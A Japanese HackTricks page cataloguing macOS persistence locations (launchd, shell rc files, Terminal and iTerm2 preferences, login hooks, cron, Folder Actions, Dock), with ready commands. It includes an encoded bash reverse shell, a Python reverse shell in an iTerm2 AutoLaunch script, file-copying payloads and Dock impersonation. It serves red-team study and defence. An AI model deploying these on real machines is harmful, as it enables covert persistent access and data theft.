macOS Auto Start

PreviousmacOS Useful Commands NextChecklist - Local Windows Privilege Escalation

Last updated 6 days ago

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

サブスクリプションプランを確認してください！
**💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
ハッキングのトリックを共有するには、HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してください。

このセクションは、ブログシリーズBeyond the good ol' LaunchAgentsに大きく基づいており、より多くの自動起動場所を追加し（可能であれば）、最新のmacOS（13.4）でどの技術がまだ機能しているかを示し、必要な権限を特定することを目的としています。

サンドボックスバイパス

ここでは、サンドボックスバイパスに役立つ起動場所を見つけることができ、ファイルに書き込むことで何かを単純に実行し、非常に一般的な****アクション、特定の時間または通常サンドボックス内から実行できるアクションを待つことができます。

Launchd

サンドボックスをバイパスするのに役立つ: ✅
TCCバイパス: 🔴

場所

/Library/LaunchAgents
トリガー: 再起動
ルートが必要
/Library/LaunchDaemons
トリガー: 再起動
ルートが必要
/System/Library/LaunchAgents
トリガー: 再起動
ルートが必要
/System/Library/LaunchDaemons
トリガー: 再起動
ルートが必要
~/Library/LaunchAgents
トリガー: 再ログイン
~/Library/LaunchDemons
トリガー: 再ログイン

興味深い事実として、**launchd**には、他のよく知られたサービスが起動する必要があることを示す埋め込まれたプロパティリストがMach-oセクション__Text.__configに含まれています。さらに、これらのサービスにはRequireSuccess、RequireRun、RebootOnSuccessが含まれており、成功裏に実行される必要があります。

もちろん、コード署名のために変更することはできません。

説明と悪用

launchdは、起動時にOX Sカーネルによって実行される最初のプロセスであり、シャットダウン時に終了する最後のプロセスです。常にPID 1を持つ必要があります。このプロセスは、次のASEP plistに示された構成を読み取り、実行します：

/Library/LaunchAgents: 管理者によってインストールされたユーザーごとのエージェント
/Library/LaunchDaemons: 管理者によってインストールされたシステム全体のデーモン
/System/Library/LaunchAgents: Appleによって提供されたユーザーごとのエージェント
/System/Library/LaunchDaemons: Appleによって提供されたシステム全体のデーモン

ユーザーがログインすると、/Users/$USER/Library/LaunchAgentsおよび/Users/$USER/Library/LaunchDemonsにあるplistがログインしたユーザーの権限で開始されます。

エージェントとデーモンの主な違いは、エージェントはユーザーがログインしたときに読み込まれ、デーモンはシステム起動時に読み込まれることです（sshのようなサービスは、ユーザーがシステムにアクセスする前に実行する必要があります）。また、エージェントはGUIを使用できる一方で、デーモンはバックグラウンドで実行する必要があります。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

エージェントはユーザーがログインする前に実行される必要がある場合があり、これらはPreLoginAgents**と呼ばれます。例えば、これはログイン時に支援技術を提供するのに役立ちます。これらは/Library/LaunchAgentsにも見つけることができます（例はこちらを参照）。

新しいデーモンまたはエージェントの設定ファイルは、次回の再起動後またはlaunchctl load <target.plist>を使用して読み込まれます。拡張子なしの.plistファイルを読み込むことも可能ですlaunchctl -F <file>を使用して（ただし、これらのplistファイルは再起動後に自動的に読み込まれません）。また、launchctl unload <target.plist>を使用してアンロードすることも可能です（それによって指摘されたプロセスは終了します）。

エージェントまたはデーモンが実行されないように何も（オーバーライドなど）が**妨げていないことを確認するために、次のコマンドを実行します：sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist

現在のユーザーによって読み込まれているすべてのエージェントとデーモンのリスト：

launchctl list

plistがユーザーによって所有されている場合、たとえそれがデーモンのシステム全体のフォルダーにあっても、タスクはユーザーとして実行され、rootとしては実行されません。これにより、一部の特権昇格攻撃を防ぐことができます。

launchdに関する詳細情報

launchdは、カーネルから開始される最初のユーザーモードプロセスです。プロセスの開始は成功しなければならず、終了したりクラッシュしたりしてはいけません。それは一部の終了信号に対しても保護されています。

launchdが最初に行うことの1つは、次のようなすべてのデーモンを開始することです：

実行される時間に基づくタイマーデーモン：
atd (com.apple.atrun.plist): StartIntervalが30分
crond (com.apple.systemstats.daily.plist): StartCalendarIntervalが00:15に開始
ネットワークデーモン：
org.cups.cups-lpd: TCPでリッスン（SockType: stream）し、SockServiceName: printer
SockServiceNameは、/etc/servicesのポートまたはサービスでなければなりません
com.apple.xscertd.plist: ポート1640でTCPにリッスン
指定されたパスが変更されたときに実行されるパスデーモン：
com.apple.postfix.master: パス/etc/postfix/aliasesをチェック
IOKit通知デーモン：
com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...
Machポート：
com.apple.xscertd-helper.plist: MachServicesエントリにcom.apple.xscertd.helperという名前を示しています
UserEventAgent：
これは前のものとは異なります。特定のイベントに応じてlaunchdがアプリを生成します。しかし、この場合、関与するメインバイナリはlaunchdではなく/usr/libexec/UserEventAgentです。これは、SIP制限フォルダー/System/Library/UserEventPlugins/からプラグインをロードし、各プラグインはXPCEventModuleInitializerキーに初期化子を示すか、古いプラグインの場合はそのInfo.plistのFB86416D-6164-2070-726F-70735C216EC0キーの下のCFPluginFactories辞書に示します。

シェルスタートアップファイル

Writeup: https://theevilbit.github.io/beyond/beyond_0001/ Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

サンドボックスをバイパスするのに便利: ✅
TCCバイパス: ✅
ただし、これらのファイルを読み込むシェルを実行するTCCバイパスを持つアプリを見つける必要があります

ロケーション

~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile
トリガー: zshでターミナルを開く
/etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
トリガー: zshでターミナルを開く
rootが必要
~/.zlogout
トリガー: zshでターミナルを終了する
/etc/zlogout
トリガー: zshでターミナルを終了する
rootが必要
おそらくさらに多くは: man zsh
~/.bashrc
トリガー: bashでターミナルを開く
/etc/profile（動作しなかった）
~/.profile（動作しなかった）
~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
トリガー: xtermでトリガーされることが期待されているが、インストールされていない、インストール後もこのエラーが発生する: xterm: DISPLAY is not set

説明と悪用

zshやbashなどのシェル環境を開始すると、特定のスタートアップファイルが実行されます。macOSは現在、デフォルトシェルとして/bin/zshを使用しています。このシェルは、ターミナルアプリケーションが起動されたときや、デバイスがSSH経由でアクセスされたときに自動的にアクセスされます。bashやshもmacOSに存在しますが、使用するには明示的に呼び出す必要があります。

zshのマニュアルページは、**man zsh**で読むことができ、スタートアップファイルの長い説明があります。

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

再起動されたアプリケーション

指定された悪用の設定とログアウトおよびログイン、または再起動してもアプリを実行することはできませんでした。（アプリが実行されていなかったため、これらのアクションが実行されるときに実行されている必要があるかもしれません）

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

サンドボックスをバイパスするのに便利: ✅
TCCバイパス: 🔴

場所

~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
トリガー: アプリケーションの再起動

説明と悪用

再起動するアプリケーションはすべてplist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist 内にあります。

したがって、再起動するアプリケーションに自分のアプリを起動させるには、リストにアプリを追加するだけです。

UUIDは、そのディレクトリをリスト表示するか、ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' を使用して見つけることができます。

再起動されるアプリケーションを確認するには、次のようにします:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

このリストにアプリケーションを追加するには、次のようにします：

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Terminal Preferences

サンドボックスをバイパスするのに便利: ✅
TCCバイパス: ✅
ターミナルはユーザーが使用するFDA権限を持つ

Location

~/Library/Preferences/com.apple.Terminal.plist
Trigger: ターミナルを開く

Description & Exploitation

~/Library/Preferences には、アプリケーションのユーザーの設定が保存されています。これらの設定のいくつかは、他のアプリケーション/スクリプトを実行するための構成を保持することができます。

例えば、ターミナルはスタートアップでコマンドを実行できます:

この設定は、ファイル ~/Library/Preferences/com.apple.Terminal.plist に次のように反映されます:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

したがって、システムのターミナルの設定のplistが上書きできる場合、open 機能を使用して ターミナルを開き、そのコマンドが実行される ことができます。

これをCLIから追加することができます：

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

ターミナルスクリプト / その他のファイル拡張子

サンドボックスを回避するのに便利: ✅
TCCバイパス: ✅
ターミナルはユーザーが使用するFDA権限を持つ

場所

どこでも
トリガー: ターミナルを開く

説明 & 悪用

.terminal スクリプトを作成して開くと、ターミナルアプリケーションが自動的に起動し、そこに示されたコマンドが実行されます。ターミナルアプリが特別な権限（TCCなど）を持っている場合、あなたのコマンドはその特別な権限で実行されます。

試してみてください:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

You could also use the extensions .command, .tool, with regular shell scripts content and they will be also opened by Terminal.

ターミナルがフルディスクアクセスを持っている場合、そのアクションを完了することができます（実行されたコマンドはターミナルウィンドウに表示されることに注意してください）。

Audio Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0013/ Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

サンドボックスをバイパスするのに便利: ✅
TCCバイパス: 🟠
追加のTCCアクセスを得られるかもしれません

Location

/Library/Audio/Plug-Ins/HAL
ルートが必要
トリガー: coreaudiodまたはコンピュータを再起動
/Library/Audio/Plug-ins/Components
ルートが必要
トリガー: coreaudiodまたはコンピュータを再起動
~/Library/Audio/Plug-ins/Components
トリガー: coreaudiodまたはコンピュータを再起動
/System/Library/Components
ルートが必要
トリガー: coreaudiodまたはコンピュータを再起動

Description

前述の書き込みによると、いくつかのオーディオプラグインをコンパイルして読み込むことが可能です。

QuickLook Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0028/

サンドボックスをバイパスするのに便利: ✅
TCCバイパス: 🟠
追加のTCCアクセスを得られるかもしれません

Location

/System/Library/QuickLook
/Library/QuickLook
~/Library/QuickLook
/Applications/AppNameHere/Contents/Library/QuickLook/
~/Applications/AppNameHere/Contents/Library/QuickLook/

Description & Exploitation

QuickLookプラグインは、ファイルのプレビューをトリガーしたとき（Finderでファイルを選択してスペースバーを押す）に実行され、そのファイルタイプをサポートするプラグインがインストールされている必要があります。

自分のQuickLookプラグインをコンパイルし、前述のいずれかの場所に配置して読み込み、サポートされているファイルに移動してスペースを押してトリガーすることが可能です。

これは私には機能しませんでした。ユーザーログインフックでもルートログアウトフックでもありませんでした。

Writeup: https://theevilbit.github.io/beyond/beyond_0022/

サンドボックスをバイパスするのに便利: ✅
TCCバイパス: 🔴

Location

defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.shのようなコマンドを実行できる必要があります
~/Library/Preferences/com.apple.loginwindow.plistにあります

これらは非推奨ですが、ユーザーがログインするときにコマンドを実行するために使用できます。

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

この設定は /Users/$USER/Library/Preferences/com.apple.loginwindow.plist に保存されます。

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

削除するには：

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

The root user one is stored in /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Conditional Sandbox Bypass

ここでは、sandbox bypassに役立つスタートロケーションを見つけることができます。これにより、ファイルに書き込むことで何かを単純に実行し、特定のプログラムがインストールされている、"珍しい"ユーザーのアクションや環境のような、あまり一般的でない条件を期待しないことができます。

Cron

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

サンドボックスをバイパスするのに役立ちます: ✅
ただし、crontabバイナリを実行できる必要があります
または、rootである必要があります
TCCバイパス: 🔴

Location

/usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/
直接書き込みアクセスにはrootが必要です。crontab <file>を実行できる場合はrootは不要です
Trigger: cronジョブに依存します

Description & Exploitation

現在のユーザーのcronジョブをリストするには:

crontab -l

You can also see all the cron jobs of the users in /usr/lib/cron/tabs/ and /var/at/tabs/ (needs root).

In MacOS several folders executing scripts with 特定の頻度 can be found in:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

そこでは、通常の cron ジョブ、at ジョブ（あまり使用されていない）、および periodic ジョブ（主に一時ファイルのクリーンアップに使用される）を見つけることができます。毎日の定期ジョブは、例えば次のように実行できます: periodic daily。

ユーザークロンジョブをプログラム的に追加するには、次のようにすることができます:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup: https://theevilbit.github.io/beyond/beyond_0002/

サンドボックスをバイパスするのに便利: ✅
TCCバイパス: ✅
iTerm2はTCC権限が付与されていた

Locations

~/Library/Application Support/iTerm2/Scripts/AutoLaunch
Trigger: iTermを開く
~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
Trigger: iTermを開く
~/Library/Preferences/com.googlecode.iterm2.plist
Trigger: iTermを開く

Description & Exploitation

**~/Library/Application Support/iTerm2/Scripts/AutoLaunch**に保存されたスクリプトは実行されます。例えば:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

または:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

スクリプト ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt も実行されます：

do shell script "touch /tmp/iterm2-autolaunchscpt"

iTerm2の設定は、~/Library/Preferences/com.googlecode.iterm2.plist にあり、iTerm2ターミナルが開かれたときに実行するコマンドを示すことができます。

この設定はiTerm2の設定で構成できます：

そして、コマンドは設定に反映されます：

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

あなたは実行するコマンドを設定できます：

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

iTerm2の設定を悪用して任意のコマンドを実行する他の方法がある可能性が高いです。

xbar

Writeup: https://theevilbit.github.io/beyond/beyond_0007/

サンドボックスをバイパスするのに便利: ✅
ただし、xbarをインストールする必要があります
TCCバイパス: ✅
アクセシビリティの権限を要求します

Location

~/Library/Application\ Support/xbar/plugins/
Trigger: xbarが実行されるとき

Description

人気のプログラムxbarがインストールされている場合、**~/Library/Application\ Support/xbar/plugins/**にシェルスクリプトを書くことができ、xbarが起動すると実行されます:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Writeup: https://theevilbit.github.io/beyond/beyond_0008/

サンドボックスをバイパスするのに便利: ✅
しかし、Hammerspoonをインストールする必要があります
TCCバイパス: ✅
アクセシビリティの権限を要求します

Location

~/.hammerspoon/init.lua
Trigger: Hammerspoonが実行されるとき

Description

Hammerspoonは、macOSのための自動化プラットフォームとして機能し、LUAスクリプト言語を利用して操作を行います。特に、完全なAppleScriptコードの統合とシェルスクリプトの実行をサポートし、スクリプト機能を大幅に強化しています。

アプリは単一のファイル~/.hammerspoon/init.luaを探し、起動時にスクリプトが実行されます。

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

サンドボックスをバイパスするのに便利: ✅
しかし、BetterTouchToolをインストールする必要があります
TCCバイパス: ✅
自動化ショートカットとアクセシビリティの権限を要求します

Location

~/Library/Application Support/BetterTouchTool/*

このツールは、特定のショートカットが押されたときに実行するアプリケーションやスクリプトを指定することを可能にします。攻撃者は、データベース内で自分のショートカットと実行アクションを構成して、任意のコードを実行させることができるかもしれません（ショートカットは単にキーを押すことかもしれません）。

Alfred

サンドボックスをバイパスするのに便利: ✅
しかし、Alfredをインストールする必要があります
TCCバイパス: ✅
自動化、アクセシビリティ、さらにはフルディスクアクセスの権限を要求します

Location

???

特定の条件が満たされたときにコードを実行できるワークフローを作成することができます。攻撃者がワークフローファイルを作成し、Alfredにそれを読み込ませることが可能かもしれません（ワークフローを使用するにはプレミアム版を購入する必要があります）。

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

サンドボックスをバイパスするのに便利: ✅
しかし、sshを有効にして使用する必要があります
TCCバイパス: ✅
SSHはFDAアクセスを持っていました

Location

~/.ssh/rc
Trigger: ssh経由でのログイン
/etc/ssh/sshrc
ルートが必要
Trigger: ssh経由でのログイン

sshをオンにするにはフルディスクアクセスが必要です:

sudo systemsetup -setremotelogin on

説明と悪用

デフォルトでは、/etc/ssh/sshd_configにPermitUserRC noが設定されていない限り、ユーザーがSSH経由でログインすると、スクリプト**/etc/ssh/sshrcと~/.ssh/rc**が実行されます。

ログイン項目

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

サンドボックスをバイパスするのに便利: ✅
ただし、引数付きでosascriptを実行する必要があります
TCCバイパス: 🔴

ロケーション

~/Library/Application Support/com.apple.backgroundtaskmanagementagent
トリガー: ログイン
**osascript**を呼び出すペイロードが保存されます
/var/db/com.apple.xpc.launchd/loginitems.501.plist
トリガー: ログイン
ルート権限が必要

説明

システム環境設定 -> ユーザーとグループ -> ログイン項目で、ユーザーがログインしたときに実行される項目を見つけることができます。コマンドラインからそれらをリスト、追加、削除することが可能です:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

これらの項目はファイル ~/Library/Application Support/com.apple.backgroundtaskmanagementagent に保存されています。

ログイン項目 は、API SMLoginItemSetEnabled を使用しても示されることがあり、設定は /var/db/com.apple.xpc.launchd/loginitems.501.plist に保存されます。

ZIPをログイン項目として

（ログイン項目に関する前のセクションを参照してください、これは拡張です）

ZIP ファイルを ログイン項目 として保存すると、アーカイブユーティリティ がそれを開き、例えば ZIP が ~/Library に保存されていて、LaunchAgents/file.plist というバックドアを含むフォルダがあれば、そのフォルダが作成され（デフォルトでは作成されません）、plist が追加されるため、次回ユーザーが再ログインすると、plist に示されたバックドアが実行されます。

別のオプションは、ユーザーのホーム内に .bash_profile と .zshenv ファイルを作成することで、LaunchAgents フォルダが既に存在する場合でもこの技術は機能します。

at

記事: https://theevilbit.github.io/beyond/beyond_0014/

サンドボックスをバイパスするのに便利: ✅
しかし、at を実行する必要があり、有効でなければなりません
TCC バイパス: 🔴

場所

at を実行する必要があり、有効でなければなりません

説明

at タスクは、特定の時間に実行される 一度限りのタスクをスケジュールする ために設計されています。cron ジョブとは異なり、at タスクは実行後に自動的に削除されます。これらのタスクはシステムの再起動を超えて持続するため、特定の条件下では潜在的なセキュリティ上の懸念としてマークされることが重要です。

デフォルト では無効ですが、root ユーザーは それらを有効 にすることができます:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

これは1時間後にファイルを作成します：

echo "echo 11 > /tmp/at.txt" | at now+1

atq: を使用してジョブキューを確認します。

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

上記には、スケジュールされた2つのジョブが表示されています。ジョブの詳細は at -c JOBNUMBER を使用して印刷できます。

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

ATタスクが有効でない場合、作成されたタスクは実行されません。

ジョブファイルは/private/var/at/jobs/にあります。

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

ファイル名にはキュー、ジョブ番号、および実行予定の時間が含まれています。例えば、a0001a019bdcd2を見てみましょう。

a - これはキューです
0001a - ジョブ番号（16進数）、0x1a = 26
019bdcd2 - 時間（16進数）。エポックから経過した分を表します。0x019bdcd2は10進数で26991826です。これに60を掛けると1619509560になり、GMT: 2021年4月27日、火曜日 7:46:00となります。

ジョブファイルを印刷すると、at -cを使用して得たのと同じ情報が含まれていることがわかります。

フォルダーアクション

Writeup: https://theevilbit.github.io/beyond/beyond_0024/ Writeup: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

サンドボックスを回避するのに便利: ✅
ただし、フォルダーアクションを設定するために**System Events**に連絡するために引数付きでosascriptを呼び出す必要があります
TCCバイパス: 🟠
デスクトップ、ドキュメント、ダウンロードなどの基本的なTCC権限があります

場所

/Library/Scripts/Folder Action Scripts
ルート権限が必要
トリガー: 指定されたフォルダーへのアクセス
~/Library/Scripts/Folder Action Scripts
トリガー: 指定されたフォルダーへのアクセス

説明と悪用

フォルダーアクションは、フォルダー内のアイテムの追加、削除、またはフォルダーウィンドウの開閉やサイズ変更などの変更によって自動的にトリガーされるスクリプトです。これらのアクションはさまざまなタスクに利用でき、Finder UIやターミナルコマンドを使用して異なる方法でトリガーできます。

フォルダーアクションを設定するには、次のようなオプションがあります：

Automatorを使用してフォルダーアクションワークフローを作成し、サービスとしてインストールする。
フォルダーのコンテキストメニューのフォルダーアクション設定を介してスクリプトを手動で添付する。
OSAScriptを利用してSystem Events.appにApple Eventメッセージを送信し、プログラム的にフォルダーアクションを設定する。

この方法は、アクションをシステムに埋め込むのに特に便利で、持続性のレベルを提供します。

以下のスクリプトは、フォルダーアクションによって実行できるものの例です：

// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

Folder Actionsで上記のスクリプトを使用可能にするには、次のようにコンパイルします:

osacompile -l JavaScript -o folder.scpt source.js

スクリプトがコンパイルされた後、以下のスクリプトを実行してフォルダアクションを設定します。このスクリプトは、フォルダアクションをグローバルに有効にし、特に以前にコンパイルされたスクリプトをデスクトップフォルダに添付します。

// Enabling and attaching Folder Action
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

セットアップスクリプトを実行するには：

osascript -l JavaScript /Users/username/attach.scpt

これはGUIを介してこの永続性を実装する方法です：

実行されるスクリプトは次のとおりです：

source.js

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

次のコマンドでコンパイルします: osacompile -l JavaScript -o folder.scpt source.js

次の場所に移動します:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

次に、Folder Actions Setupアプリを開き、監視したいフォルダを選択し、あなたの場合は**folder.scpt**を選択します（私の場合はoutput2.scpと呼びました）：

今、Finderでそのフォルダを開くと、あなたのスクリプトが実行されます。

この設定は、plistに保存されており、**~/Library/Preferences/com.apple.FolderActionsDispatcher.plist**にbase64形式で格納されています。

では、GUIアクセスなしでこの永続性を準備してみましょう：

~/Library/Preferences/com.apple.FolderActionsDispatcher.plistを/tmpにバックアップとしてコピーします：

cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp

Folder Actionsを削除します：

今、空の環境ができました。

バックアップファイルをコピーします：cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
この設定を使用するためにFolder Actions Setup.appを開きます：open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

これは私にはうまくいきませんでしたが、これが書き込みの指示です：(

Dockショートカット

書き込み: https://theevilbit.github.io/beyond/beyond_0027/

サンドボックスをバイパスするのに便利です: ✅
ただし、システム内に悪意のあるアプリケーションがインストールされている必要があります
TCCバイパス: 🔴

場所

~/Library/Preferences/com.apple.dock.plist
トリガー: ユーザーがドック内のアプリをクリックしたとき

説明と悪用

ドックに表示されるすべてのアプリケーションは、plist内に指定されています：~/Library/Preferences/com.apple.dock.plist

次のようにしてアプリケーションを追加することが可能です：

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

いくつかのソーシャルエンジニアリングを使用して、実際に自分のスクリプトを実行するために、例えばGoogle Chromeをドック内でなりすますことができます:

#!/bin/sh

